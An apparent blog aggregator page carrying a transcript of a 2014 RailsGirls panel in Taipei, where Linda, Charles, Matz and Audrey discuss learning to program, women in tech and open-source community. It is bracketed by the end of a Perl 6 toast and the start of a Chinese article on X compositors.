不過火箭本來就跟這些無關,戲劇性並不是火箭想要的。火箭想要的是升空,更快更快再更快。這跟位置無關,甚至也跟速率無關。重要的是,一切都在加速進行中。

[舉杯]

那麼,在此獻上 Perl 6。她將自由高飛。祝她為存在而歡喜,祝她為發現世界而歡喜,祝她只要願意就能不斷加速!乾杯!

by audreyt at December 26, 2015 02:12 AM

August 23, 2015

pugs

RailsGirls.tw Panel Transcript

2014-04-27, TEDxTaipei, https://www.youtube.com/watch?v=E6xIcKTRZ00
Hazel (Moderator), Linda (RailsGirls), Charles (JRuby), Matz (Ruby), Audrey.

Hazel: Now, we go for the first question. Are you all ready? The first question is "Today, working independently is no longer popular anymore. Team cooperation has become a trend in the age of cross-discipline working."

“What we learn from programming — will it help us to do a better job in real life? Maybe  — for the males and for females — for everybody."

Linda: Hello. I suppose that when people told me that learning to program teaches you how to think, I didn't understand it in the beginning. On learning, I've worked with engineering teams a lot. It really helps you structure it in a way that it needed for the engineering to work on problems.

For instance, I would come up with a feature, and they'd go, "Hey, OK, let's do this." And by being able to understand how the code works, or how that product is built, or what kind of features are feasible to build, and so forth, even though I didn't work as an engineer, helped me work better and more efficiently.

[laughter and applause]

Charles: It's interesting, because just in the past few weeks, my wife has decided to start to learn how to program. She's very excited about the possibilities. She was a little frightened at first, of the difficulties she might run into. But, for years, she's been the primary chef in the house. She's taken care of the kids. She's knitted. She's done other crafts and projects,

What she started to see is that what she's learning in programming fits very well with other methodical, recipe-type systems, and building of crafts, building of a meal, things like that, as tying into the rest of her life, the more that she picks up programming. It's been exciting to see that.

[laughter]

Audrey: Since Linda and Charles have addressed programming’s importance so well, I’d like to talk a little bit about the team working part. I think part of being an audience —  as we know — being an audience is the ability to listen.

I think a lot of the experience in programming nowadays online, whether it happens on GitHub or other social events, is the ability to listen, or to perceive, or see each other's viewpoints. We see that on GitHub issues, we see that on mailing lists, we see that on IRC, we see that on wikis.

I think, those taken together is much more important than code itself. As we would see that code itself, as why the lucky stiff re-tweeted, that code never lasts long anyway. It's always replaced by something new.

But human memories, the shards of the souls that we share together, those may not be as precise as code, but they outlast code. Community, people, their relationships, their links, they outlast code.

Code is this wonderful opportunity as an anchor for us to learn to listen to each other, such that we can make something more beautiful and that's objectively there. It's like an artifact, a pyramid or something that we could see, growing day to day objectively, as a result of our being generous to each other.

I think being able to listen, and to be able to give back is the most important thing for us to learn as part of programming in the teamwork that's the future. Thank you.

[applause]

Matz: I think I have to say something.

[laughter]

Matz: Despite the original question, in the past, the creating serious software is not this independent work, so they couldn't create the serious software alone. They have to work in the same company and in the same project, then working together as a team, maybe in the hundreds of programmers to create the systems like IBM’s System/360 or something.

But there are technologies that change the situation, like, for example, Ruby. Ruby was started by me alone as an amateur programming language designer. I created the first snowball and put it into the Internet, so that everyone gathers together. Then we work together over the Internet.

Ruby's getting better and bigger, the committee has grown, and JRuby has been created, and then Rubinius, and so many projects with Rails, or Sinatra, or even other communities like the RailsGirls, that sort of thing. That means we can be more flexible using technology.

We can work alone, the individual can start great things using the power of the Internet. At the same time, using — say community, Internet, or even GitHub —we can be socialized to form the power to create great thing by programming.

I believe that is the flexibility, like from individual to huge community, like millions of people. We can choose, not by the company, not by the project, not by the organization or something. That kind of flexibility is the power of the 21st-century I believe.

Charles: One more thought. It occurred to me that one of the biggest advantages that you'll get out of learning how to program, is the fact that you're going to be able to cooperate, and understand, and work with other programmers, which there are more and more of us.

There's more software being created every day. It runs the world, and being able to be part of the world, I think means that almost everybody should learn how to do some programming. You've got to understand how the world around you works. It also, as Matz was talking about starting Ruby, you don't know if that piece of code that you write tomorrow, that one project that you build, might be the seed that grows into a forest.

The project that Matz started years ago is why we're all here, why we have wonderful events, why we're creating such amazing applications. It could be any one of you. You could be the next one to create something that grows into that forest of a wonderful programmed world.

[applause]

Hazel: Could you provide some advice for people want to promote programming, to avoid a situation of this [gender exclusion]. May you, Linda, can share some ideas about that. What can you think effectively reduce these uncomfortable situations like this? Maybe in the case, or your ideas, please for Matz, and for Charles, maybe you can share what you see in this IT industry.

Audrey: Hazel refers to a private conversation we had before the conference, and the basic point was that Taiwan, which is culturally influenced both by the Japanese stereotype of women, and also by the Confucian Chinese treatment of women.

There is this sense of a politeness that's built-in, not only into women, but into everybody, so that when we are joining a community, we tend to reach a safe point where we think that we establish some sort of sympathy, or empathy, or understanding with the group, before we even start to speak, or even we start to raise our hand. This is a very East Asian thing.

But in particular for women, if they see a whole space composed of men, or of people whose gender expressions differ so much from theirs, it's very difficult to establish this kind of rapport, or mutual support sense, before starting to join, or start participation. That's a real entry barrier, as Hazel mentioned herself. It's an artifact of the community's composition, and the culture of things in Taiwan, or in East Asia.

It's not specific to women alone. As for how to fix this, well some people do that by sheer obliviousness, like to their social scripts. They are like, "Well, we shall dive in right here."

[laughter]

Audrey: When they just jump into a community and start asking stupid questions, some people would say, "Hey, why are you here? You're out of line there, right?" But then [laughs] after a while, they start to become part of the community, and that's actually the fastest way.

As Matz actually implied, the fastest way to get a community going is by releasing something imperfect. It's about like posting your question, and then answering it in a very bad way. A lot of you would join saying, "Hey, there's a better way to do that."

So people who are oblivious to this kind of social training, they could actually enter that kind of online technical community much easier, and with much less difficulty — even after a lot of argument ands fighting — than people who are polite, and than people who then shift into some other community who are more friendly, like making digital art, or things like that.

Actually, a suggestion I would make is to be strategically oblivious. [laughs] Just to make some headway into it, pretending that you're already part of the group, and that's a self-fulfilling prophecy, and you will become part of the group in no time.

Linda: I segue into it with a very personal experience. I wasn't a professional programmer, and still I'm not a professional programmer, besides so I was absolutely oblivious to all of that life, all of that trauma, and all of the drama that surrounded the female in technology, and that sorts of problems.

I just wanted something that helps me learn more programming. I didn't know that the word “girls” would offend many Americans, and I’d like to think I was able to build this platform because I’m not a native speaker, I didn't know that they're supposed to teach programming in this manner or that manner.

There were so many things that we didn't know, which afforded all of us to experiment, and do things and not worry too much about what happened.

I totally agree with the thought that, that the best way is to barge into a community and start asking questions, but I come from a culture that it also very important to be like others. Finnish people tend to be relatively silent and observe, than raise questions. One of the things that I deliberately wanted to have in the RailsGirls workshops was some sort of cultural section, where we talk about people — like who are the people in the Rails community.

We talk about Matz, we talk about DHH , we talk about _why, and we talk about the FridayHug. We talk about all of these other institutions and things that I'm quoting, because it's not only about the code.

Then we encourage people to become a part of their local group, and coming to these events, and have the self assurances that, "OK, I know enough to be able to go into a meet-up, and be a part of something bigger. I'm probably still not there technically, but I’d love to see DHH again.

[laughs]

Charles: One of the things, I wanted to make sure, it's been said in various ways all day today, but you ever feel like you're being excluded, or singled out, just always remember, it's not your fault.

Everybody's going to face that, not just the programming community. Ask any over-40-years-old programmers how welcome they feel in Silicon Valley, San Francisco, and it's that sort of thing. Look, it's not your fault, and remember that the reason we have events like this, and the reason this has become such a major issue, a feature point of discussion, is because we're trying to fix it.

There are resources that will help you avoid that exclusion, that ostracism from the community. Just keep fighting through it, and we'll try and help you as much as we can along the way.

[laughter]

Matz: Yeah, it's on. Yeah, just for a little more.

Matz: [laughs] In CRuby, we had say 90-something core contributors who had the privilege to commit to the central repository. Some of them are Japanese, some of them are living in the United States, and some of them are European. I don't know who any of the Taiwanese or the Chinese. Unfortunately, I know no female contributor yet, but I'm pretty expecting.

Actually, I don't care about this aspect, that gender, and nationalities, and age, and titles, anything. We had very young contributors like 18, or something, and very old contributors like 50s, 60s. But actually, I don't care. As Audrey said, we want to value people by their values. I think that being fair, and that don't care too much about the other attributes is that crucial for the community management.

Our community has a very good tradition to be nice, so the Ruby community is known to be nice people. As Linda said, the community, or the open source, or even Internet, is a human thing, so we are human, and we have hearts. The communication between hearts is the very important even in the software programming, software creation, or anything.

Charles: Sorry, just one quick inspirational story. I went to a conference in Tunisia in 2013, and it was about 100 people for a Java event. Very first time, done at a technical university in Tunis, and the conference, and the University had a majority of women. It was the first time I'd ever seen that anywhere in the world, and I was amazed by it.

But they were really excited, and they were pretty much in charge there. [laughs] They were running that thing. But it was just great to see that there are parts of the world where they were already getting that going, and starting to get more women involved in technology. I'm just thrilled that it's happening here, and happening around the world.

Thank you to Linda for arranging this, and for the Rails Bridge folks for doing the sessions they're doing in the US. It's really an exciting time, and I'm glad that there are so many more interesting, wonderful programmers entering the community now.

Linda: Yesterday in RubyConf Taiwan, there was a lot of RailsGirls alumna who participated, and volunteered over there, and helped organize the event, and I think it's almost like a fairytale that all of the sudden we would have hundreds of women taking part as speakers in conferences.

But I do wish that all of you who volunteered yesterday will keep on programming, and next year you will probably give a talk over there, and be there, and we will have more women as speakers, or so in conferences.

Hazel: RailsGirls hosted this event, so let's talk about the RailsGirls community. According to your observation, what are the factors in this community that encourage female to access programming?

Linda: I think that might have a lot of broadening up, because RailsGirls, again was a very personal thing to teach myself programming, and it's definitely not a panacea to every single female, like getting more females in programming world, and as Charles mentioned, there's a lot of organizations that are doing wonderful work for this in very different ways. Can repeat the question? What was that?

[laughs]

Hazel: Maybe we can change the question about what is the factors?

Linda: Yeah, what are the factors in general in bringing more females to programming? As I mentioned in my talk, for me it was the practical application, the expressing myself and the creative side of things that initially gave me that aha moment, and I think there's almost two types of click moments in programming:  There's the very tangible moment when you see something come alive on the screen, and like, "Oh wow, I made that?" Then there's the more intellectual pleasure of seeing something like beautiful code that is formulated, and getting that "Whoa," an intellectual aha moment.

Sometimes our schooling system aims for the latter one, where we learn about arrays for a long time, and before having that tangible moment of aha. Maybe one way of getting more women involved in general is to have more of those first moments.

Audrey: To extend the analogy, I'd like to introduce the question, "Why do people write poetry?" People write poetry because they feel very strongly about something. Because of that, a lot of teenagers write poetry, because they feel very strongly about something.

[laughter]

Audrey: Only a few of us continue to write after our teenage. But in any case, that was the spark. That was the first moment. If you, whatever your gender or age, if you start caring very much about something, there's got to be way that programming is going to be helpful to make that happen.

As a rule, either there is a way to reduce your stress in automating some of the tasks, or as a way to get your message across, or as a way to get more community around you, or to get better equipment so that you can do whatever you care about more efficiently. There's going to be some way that programming, like a good mastery of language, is going to help you to communicate to other people.

And that’s Linda’s second point, when you see that the poetry you write touched another person’s heart. They come to you and say, "Hey, I read your poem, and it touched me very much, and I was crying," or something — just by reading your poem. Then you get the sense of accomplishment, of having touched another human being with something you created.

It's actually very easy to do, especially with web programming nowadays, so that's another thing that one can focus on in getting your message across, not only with the existing web systems like Twitters, or Facebook, or something, but with something that you design yourself — even though it's with iframes and entry level CSS — because it has an impact, because it is you; it is a part of you. It's part of your soul, and not just some post on some blog system, or on some social network system. Thank you.

[applause]

Charles: I'd say one of the biggest factors that is going to make it easier for women to enter the programming world is exactly what you all are doing, having more women in the community, more women that can identify with new programmers that are coming to the community.

You're helping lay the foundation of all future generations of women programmers. You're helping open that door, and make it more attractive, make it more comfortable for women in the future to become programmers.

Don't forget that it's an amazing thing that you're doing, for all those future generations that would have had the same trouble that people had 10 years ago, or 20 years ago, trying to get into the sort of field, so just keep up what you're doing, because you're really helping. You're helping all the women in the world at this point.

Matz: I have never written a poem in my life, but according to the old saying, the poem is the outcome from the passion inside. If it's true, the Ruby itself is my poem. There are 600,000 lines of [laughs] C-code poem that's used.

[applause]

Charles: Yeah, an epic poem.

[laughter]

Audrey: It is also very poignant.

Matz: But anyway, the primary motivation behind the creation of Ruby is the passion. My passion of the love to the programming language. Loving programming language sounds weird to most of the people, but I can't help it. [laughs] Since I was in high school, I loved programming language, so the very important thing is the following passion.

Maybe so you ladies, girls and boys in the field, somewhat passion to create something, and then you see the screen that your software writing on, so you feel something good. That is the passion that you start with, so that passion brings you to be better programmer, better creator, or even artist.

If I say something, so follow your passion, and then nourish your passion. That's a very important things to be a better person maybe.

Hazel: Please, everyone give the applause for all four of them first.

[applause]

Hazel: This is really, really exciting, right? I know many of you sitting on the seats have not attended a programming course, or the coding process before. I want to ask a question. Do you want to learn programming? If you want, please raise your hand. Raise your hand higher, higher. [laughter] . Please, OK. Please don’t put your hand down. Please, we'll hire you soon.

[laughter]

Hazel: Is there any programmer right here want to teach all of them, please raise your hand. Wow, see, there is too many hands right in the air. I think this is really possible. If you are really want to involve in this community, you want to learning, just ask them to teach you, and maybe like the RailsGirls, you can establish your own community. Maybe in a different language, a different city, different area, that's all possible.

Last, I want all of you please give some words to the audience, sitting on the seats, to encourage them to pursue learning programming, or maybe they want to do something else. Could you give some words?

Audrey: I'd like to invite you to be yourself. There's a lot of going on in Taiwan where you see on the magazines, or on the books, that have to be as successful, or as interesting, or as fashionable as some person that appears on the cover of a magazine, or a book. There's all sort of this kind of going on. I'm sure it's a worldwide thing.

But I'd like to encourage you to think that if you follow the ways outlined in those magazines and those books, the best you could do is to just be a very good copy, or even a better copy of someone else. But that's not something irreplaceable. That's not something authentic, and that's not something that's authentic to you.

I guess the only way, for me at least, to follow your passion, is to think back of what are your unique experience that makes you care about the things you care, that makes you feel the things the way you feel, and then from it discover a ground for you to be authentic with yourself, and without exception, I think passions and compassion will follow from that. Thank you.

[applause]

Matz: I love to read sci-fi novels, and fantasy novels, but I still love to watch the Hollywood movies, science fiction, but in reality we have no ESP, and we have no magical power like Spiderman or Superman, but right now though, we can control the computers.

We can control the network, so we can communicate to the people all over the world in a second, the speed of light. That's a kind of magical power. I believe the programming is the magical power that enables the imagination to be real, so learning, and having ability to program computers, is to order computers to use some magical things. Learn program, be a magician, be a wizard, and be happier.

[applause]

Linda: I'm still pretty much figuring out what I want to be when I grow up, and what I want to be doing.

[laughter]

Linda: I've had the exact same idea. I've gone through all of my life and tried to figure out what are the points that made me who I am today, and the things that I do what I do. The first of them is from age eight, I think. Then I run into this quote from Steve Jobs, who was talking about connecting the dots. How you can connect dots only looking backwards, not looking forward.

Then I looked at the sky, and I don’t know if any of you know who came up with constellations, like the shapes that stars form, but it wasn’t scientists, it wasn’t engineers, it was the storytellers.

The people who wanted to make sense of the sky by drawing pictures in there, and calling, “This is an owl, and this is a donkey.” In the same manner, I've been trying to figure out what are the individual dots in my life, and what kind of a picture they form.

Those pictures can change throughout time, and there might be different kinds of connections, but it's important to have those dots in the first place, and to start thinking about what they form up. It's as you said, very individual, and very unique, and it shouldn't be something that you just copy from someone else.

[applause]

Charles: I'm a little biased, but honestly, I believe that being able program is the most powerful skill that a person can have. It requires essentially no resources. It helps to have a computer, but essentially it's all just from your mind. It's what you can create.

Anything you can imagine, you can create, and you don't have to have anything but time, and effort, and energy to do it. Once you start to get into this, it's almost like a drug. You're going to feel how powerful you can be, and how much you can do with programming. Get through the early tough stages, because it's a great ride, and it's really exciting.

[applause]

Hazel: OK. Thank you for you. I received some questions from the audience, but before we answer the questions. Are there any more questions that you want to ask, are there any notes you want to pass it to the stage, is there anyone or this is all the questions?

Hazel: Is there anyone? No? Let's start the Q&A panel. I think this question is for the programmers to answer. What makes you want to push girls to attend this event, and what impact do you think can make difference to girls who are involved in this event?

Audrey: The question was, really, I think, about what impact that we think that people who are involved in this event, what kind of differences those events make to the women's lives who attend these events. That's a very good question, actually.

When we talk about pushing someone to compel themselves into taking up an important social task, the way we do it is with finesse. It's about raising something, a spark that kindles in them something they already care about, but they felt that it’s helpless, maybe because they believe that they're the only person on earth who cares about this issue, or maybe they believe that the system is too large, it's too immutable, people cannot change just by themselves, and things like that.

I think programming in itself is a way to empower people, to see that there are millions of people in the world who put in maybe just five minutes a day into something. Or if you're really addicted, 15 hours a day into something…

[laughter]

Audrey: …it visibly makes the world better. I think that impacts a person's life, empowers them in ways very few other fields that could provide.

Charles: I'd say I have selfish reasons. Pretty much every programmer I've ever met has taught me something. If women are not part of that community then there are things I'm not learning. I want everybody to be part of this community, so that I have a chance to meet and talk with you about programming some day.

It all goes around. The community can't work without the community. It has to be filled with lots of different people, lots of different ideas and different ways of looking at things. It's not even just for you. I think it's absolutely crucial to the programming world, the IT and tech world, to bring more minds in. This is a great way to do it.

Linda: For the RailsGirls event, we oftentimes say that you don't learn much about programming, per se, in one weekend and especially using Rails. But you do get to meet the coaches, so you do get a real connection with a real programmer, and then you get to meet all the other women who are as excited about technology as you.

Here in Taiwan you see a lot of women in events. But we've had events in Egypt or Cairo or Azerbaijan, where they just don't even know other women who exist who are excited about this stuff. It's a very powerful thing to fashion, to meet the people.

Matz: The motivation and the background is up to each individual, like to gain new knowledge or to improve their income by learning programming. But no matter which motivation you’re behind, I really want you to understand the programming itself is pretty enjoyable. It's fun. I have been programming for more than 30 years. I have never been tired of it. It's very exciting. I often forget to eat, I forget to sleep.

[laughter and applause]

Matz: Yeah, it's fun, that much. I want you to understand the fun, the joy. Well, plus, you have your individual motivation, and plus knowing that fun will improve and even enhance your individual motivation.

Hazel: After the first question, here comes the second. It's also related to the first one. Here is a person who is working using the marketing industry. She wants to ask how can learning programming help for his or her real life?

I think, maybe, this question, we should ask the RailsGirls attendee, right here. Do any RailsGirls want to answer this question? Any RailsGirls? Oops. I think Linda has a lot of experience about this.

Linda: Let me see, marketing people, they run email campaigns. Maybe you can do a dashboard that showcases the analytics of your email campaigns, and that communicates better to your boss how important these things are.

Maybe you need to order a new campaign site and you have a programmer and the programmer says, “This is impossible. You can't do this,” so forth. Then you're like, “Yeah, bullshit. You can do this.”

[laughter]

Linda: Stuff like that. There's a lot of really tangible and real things that you can do in your industry. Any other brainstorming? I have never worked as a marketer.

Audrey: I'm going to talk a little bit more philosophically. Marketing is about getting message across to another person such that they may wish to exchange something that they have, with what you have so that you both become better. This is the fundamental of marketing.

Traditionally there are three kinds of exchanges or marketing behavior that we are used to. One is that this in-group, like maybe we’re in a family or maybe we’re in a “community” that has an in-group and an out-group.

Members in the family, or in such in-groups, the share everything, they exchange everything with everything, but they don't share with outsiders like 非我族類 (“aliens”) or something. This is one kind of exchange.

The second kind of exchange is what we see in a government or in a hierarchy where we only exchange with the upper ladder or the downward ladder. Like, I only report to my manager, my manager reports to their manager, and so on, so that the exchange of information is entirely hierarchical.

The third one is that we exchange with whoever with the cash, who has the money. We offer our service or our goods to people who have money, so we use that money to exchange with someone else, to other marketers who sells us things. We basically exchange through currency.

These are the three dominant exchange models in the world.

But by participating — as a marketer — into open source, like the Ruby community, you're going to learn the fourth exchange model in the world. That is, you freely exchange with anyone in the world for whatever purpose whatsoever.

This is an extremely revolutionary idea: I don’t care about whether you're in the same ethnic group as me, I don't care whether you’re Taiwanese or not. I don't care whether you’re my boss or my manager, and I don’t care whether you have the cash. I'm going to offer my service and my generosity to you.

This kind of marketing, as we proved, like Linda’s Kickstarter campaign, reaches more people in shorter time more efficiently than any of those three legacy, old exchange models. That's going to be the trend of the 21st century. By participating in an open source community, you're going to see firsthand how this works, and how to make it work for you in real time.

[applause]

Matz: I used to work as the professional programmer, I still am. But I work for the company and I order to develop software in the team. In that time the many things out of control me, so the boss decides something, that you have use this tool, you have to use this language or something like that. But it's bullshit.

[laughter]

Matz: Now I'm working on open source software, mostly because it enhances my control. I can decide by myself what project I work on and I can decide which technology I use. I can decide what I do today in a certain degree much better than I used to. I think one of the joys from programming is the having power, and having control. Of course, the power comes with responsibility.

Hazel: Thank you. Well, but here is a caution about the female programming popularity. If the female programmer community is getting bigger and bigger, do they have any influence to the marketing of the programming industry?

Linda: I was just writing a report on this subject. The first professional programmers in the world were in the second World War, and there were a lot of females operating computers and calculating ballistic things, and so forth — Audrey might know more about the history of this — at that time they were doing a service to their country.

Then the next generation in the ‘60s was females who were operating computers or programming computers, because the men felt that it's a stupid manual labor thing. That's why women do it, the same way they operate telephones and so forth. But the women secretly realized that programming is really powerful, and they became better and better and better at it. It was like the Bell Labs.

I don't remember the name of the computer anymore, but they were working on this computer and the whole image of programming being male was really crafted in the ‘60s. Because the male wanted to get back the programming industry.

The requirements they used to get people into programming positions were crafted so that only young men would fit them, and very artificially done, this whole movement. Before that it was a women's profession, for the better or the worse, because it wasn't valued by the society at the time. But maybe Audrey knows more about that.

Audrey: Actually, Linda said pretty much everything there is to say about the history in United States. I think the marketing of teaching and applying and doing programming, it's going to be very much distributed.

Because 20 years ago, even, we have this idea of a larval stage — 結蛹期. It’s part of the hacker dictionary, the Jargon files. It says, basically, that to become a professional programmer, a hacker, you have to spend three or four years of your time addicted to your computer, totally breaking your sleep patterns and working 20 hour shifts. Then you will, at one point, reach enlightenment. This is a lot like Zen Buddhism.

[laughter]

Audrey: Once you reach that point, once you reach the point of 零的轉移、巫術的權勢 (the point of Zero transference — the power of wizardry), basically you become a wizard. Once you become a wizard, the distinctions — like Matz said, of gender, of age, of nationality, of ethnicity — they just disappear. It's like the scene in The Matrix, where Neo sees everything as green digits.

[laughter]

Audrey: Once you hit that stage, nothing else really affects your objective judgment. That’s also a very Zen Buddhism thing. But I think that’s partially a myth, because it was so difficult to learn about programming without the Internet community at that time.

Now with RailsGirls and communities like that, we have a slope. You can very comfortably stay on any point in the slope, with a lot of people in the same ladder to support each other, and you don't need to spend two or three years of your life.

This way, you can spread it through five years or six years — you can even sleep eight hours a day without falling back. I think that's going to change the market very much, because then instead of just amateurs and professionals, we're going to have market segments for every point in the ladder, and that's going to make the market and the community much larger.

[applause]

Hazel: Next question: What is your first entry into programming?

Charles: I don't really know when, like when I was six or seven and I learned how I could use the computer, I was immediately trying to figure out how to make it do more things than it did right then.

But over the years the things that have really inspired me to keep going is, first of all, the power rush is nice. But being able to make other people happy, make their lives easier by writing software that helps them.

I work on JRuby as a passion, because I hear stories from people that use our software, and love it, and they're happy and their lives are better as a result. That's what's really kept me going, and inspired me to continue to be a programmer, and try to get everybody that know to be a programmer as well. Because it just brings so much to other people's lives as well.

[speakers pass the mic around]

Audrey: This is like passing the baton, right?

Audrey: I remember my first entry into programming was when I was seven, and I got this really old book. Matz actually just told me, in private, that he had this really small town library where there is a book about the Ada programming language.

There weren't many programming language books, and was an Ada programming reference. He just read it from cover to cover. Very unfortunately for me, my book was about GW-Basic.

[laughter and applause]

Audrey: Yeah, if it had been Ada, maybe I would be a better programmer. But in any case, I read it from cover to cover. But I didn’t have any computers and I haven't seen any computers at that time.

What I did was I took a piece of paper, I started writing on it, drawing keyboards. I started pressing the paper. I started pressing the keys and writing the alphabets that would come after the command line. Then I still remember the touch of my fingers on the face when I type 10, space, RANDOMIZE TIMER, which is what you do is GW-Basic. I have this etched in my muscle memory before I met my first computer.

But that was a defining point, because it shows that computing is not about computers, it's about a certain way of thinking. It's about a certain way — if you organize your thought in a certain way, it yields predictable results, and it yields something that you can show to other people, so they can replicate your results. This is actually the scientific paradigm. This is like what a person without any scientific equipment whatsoever, they could just figure out, by an old GW-Basic book, the scientific method for themselves. For me, that's was the defining point.

Matz: Well, I had a similar experience. I was a little bit older when I met computer, I was 15. Soon after that, the computer runs BASIC, a reduced set of it, the language was very limited. It does only 4k memory or something. The BASIC was very strict, it has only one character variable, that means that you can have only 26 variables. That's kind of frustrating.

In the bookstore, I found a book about Pascal, so I read through the book of Pascal from cover to cover. Then I realized that there are several, there are many programming languages out there. Computer programming languages are different from each other, so someone must have created those programming languages with some intention.

At that time, somehow, I got an idea, that someone created the programming language for their purpose, so why not me?

Since then, since that idea struck my brain, I became very, very interested in programming languages. No matter what kind of program — I don’t care, I care about the programming language.

So my other friends wanted to program to, say, create games or make money or something, but I don’t care. I care about the medium, not the purpose. I read through the Ada book, Pascal books, Modula, Lisp, some other programming languages.

But I didn't have a computer to create a programming language. I had no knowledge about the compiler or interpreter, so I took my notebook, and I wrote down the program in my idea of programming language. You don't need programming skill to design a programming language.

Unfortunately, I lost that notebook, it’s really shame. I don’t remember anything. I believe that was something in between Pascal and LISP.

Actually, I didn't have friends who knew computers, in my high school age. I went to the university. I met some people who loved programming. At that time, I found that very few people care about programming languages. Then, I studied about computer science. I learned how to write compilers. Then, gradually, I created Ruby. Gradually, it took over the world.

[laughter]

Matz: The idea of a programming language was a very enlightening idea for me, at my high school age.

Linda: [laughs] I told about the Al Gore story already. [laughs] Defining moment. More recently, I went to the bookstore. Before I made the Ruby thing, I tried to look for books that would explain for kids how computers work.

I would find tons of books that talked about astronomy, like how to be an astronomer or how does a combustion engine work, aimed at [laughs] kids but none that would explain how computers work. That was an "Aha" moment for me, that this body of work or this material around software engineering needs to exist, and maybe I need to be the person who does it. I loved Audrey’s paper computer example.

One of the things I want to do is do a little origami paper computer that the kids can assemble themselves, put in the little CPU, and have a very tangible feeling about having a real computer, and their first paper computer. As you said, computing is not about the actual hardware or anything like that, but that experience of owning it.

Charles: Stay passionate about programming is to look at things that you would deal with every day and find a way to solve it through programming. Raising kids, there's a million and one things that you could use a program to help you manage it, sleep schedules, meals, or whatever. All sorts of things that you could do.

[laughter]

Charles: The other thing is to remember that, of all of the abilities that we have as humans, being able to program, being able to design programs, has probably some of the fewest demands on you. It really just needs time and a little bit of energy, which, of course, when you're raising kids, those are the two things you really don't have any more.

But as long as you're able to find just a few minutes in the day to keep moving forward, build things around your life, around your passions, kids and stuff in the house, if it gets to that point. You'll be able to keep going. You'll be able to keep going.

I can't imagine programming not being part of my life anymore. Even through the most difficult times. I've had to take some breaks sometimes, I've had to go away. I've gotten burned out on the projects that I'm working on, upset by things that people say to me or say about my programs, about my projects. But I've always come back.

I don't know anybody who has been a programmer that wasn't a programmer forever, in some way. It changes you, and I think it stays with you for the rest of your life.

Linda: A practical example, my friend made a little Arduino clock that connects to her Fitbit, and it shows like a little screen, it shows how many steps away from home she is for her little kids, all the time. Projects like that maybe, it might be helpful in just kindling that passion.

I want to quote our practical German friends. I've talked to a lot of people about their motivations in taking part in RailsGirls and so forth all around the world. The German girls, one of them approaches me and said that “Programming is the most flexible work you have. It's well paid, you can do it at home with the kids. You can do it in the evening, you can do it in the morning.” It allows them to be very self-sufficient, and that's why they want to change careers.

[applause]

Matz: The ladies are very easy to distract away from the programming, or even careers. Mostly because the social pressure, and the psychological “mind-set” or something. I declare it's OK to have passion on programming, on your career. Even you have to care about your family, your children, but you can still have passion on programming or your career.

You can come back someday. That kind of passion can motivate you. That kind of passion could be an engine to drive your life forward.

Audrey: As a personal anecdote, actually my brother has been teaching my father programming, for a while now, for a few months, and my father is in his 60s. He has a lot of students to teach, a lot of daily routines, three dogs, parents and everything.

I think the most important thing was putting your ideas somewhere that other people can see and improve on, and Ruby is a very quick way to do that of course. As long as you have a GitHub account you can just push something there, or even just as a quest you don't have to create a repository.

This is so people could start working on a code and giving you ideas, and suggestions, and that. Even if GitHub seems very hard — actually for my dad it is — you can use other tools like Hackpad, or even like Google Doc, or Google Spreadsheet, or EherCalc, or something like that.

Any online spreadsheet, or document, or any online drawing tool. You can capture your ideas in a place where everyone can see and comment on. It's actually the first step to programming. I mean it in a social way as well, and not in a coding way. To go back to the proper question. I think for someone who's time is fragmented or limited, one way is to watch or participate. One of those ongoing projects that require some input from the crowd does not require your full-time dedication. I'm going to have an advertisement for g0v.

In g0v we have a project that’s going at the moment, where we took all the grids of the reports of the spreadsheet of people's donations to their political campaigns. It was locked away in PDF, and it's only allowed to be printed with water mark — they are not published online — and you have to pay for the copying fees. You can only take two pages, or 100 pages out at a time, it was very archaic, and it is because they don't have a budget to do it.

What we did was we asked people to take the copied papers out, and we scanned them, and upload them on DropBox, or on Google Drive. You don't need to be very technical to do that, and then algorithms split them into individual grids.

Then you can visit the site to see just one grid cell. It's like a Captcha, or a game, where you just see a picture and guess — maybe a name, or maybe a number and just type in a name or a number. With this crowd-source way we have 300,000 cells identified and counting. People visit and improve the code such that the donations are now transparent, and it becomes part of the communal property.

This motivates a lot of people that have no idea what programming is, to start helping us writing a better guideline. Like there’s a person who has no experience designing a web page, that just feel very strongly about the cause. They learn about how to do Google sites, or do a basic HTML programming, so that they could put their beautiful icons to the standard operating procedure for those things.

This is about putting something into where people can see, and to contribute on. Even though you only have like five minutes, or even just 15 seconds a day, you can feel that you're part of the community, and you get to know people, who once you have a little bit more time, would take you further along the path.

by audreyt at August 23, 2015 11:25 AM

March 19, 2015

farseerfc

X 中的混成器與 Composite 擴展

在上篇文章 「桌面系統的混成器簡史」 中我介紹了其它桌面系統中的混成器的發展史和工作原理, 話題回到我們的正題 Linux 系統上,來說說目前 X 中混成器是如何工作的。 這篇文章將比上一篇深入更多技術細節,不想看太多細節的可以直接跳過看 結論

原始的 X 的繪圖模型

首先,沒有混成器的時候 X 是這樣畫圖的:

ditaa diagram

X 的應用程序沒有統一的繪圖 API 。GTK+ 在 3.0 之後統一用 Cairo 繪圖, 而 Cairo 則是基於 PDF 1.4 的繪圖模型構建的, GTK 的 2.0 和之前的版本中也有很大一部分的繪圖是用 Cairo 進行, 其餘則通過 xlib 或者 xcb 調用 X 核心協議提供的繪圖原語繪圖。 QT 的情況也是類似,基本上用 QPaint 子系統繪製成位圖然後交給 X 的顯示服務器。 顯示服務器拿到這些繪製請求之後,再在屏幕上的相應位置繪製整個屏幕。 當然還有很多老舊的不用 GTK 或者 QT 的程序,他們則直接調用 X 核心協議提供的繪圖原語。

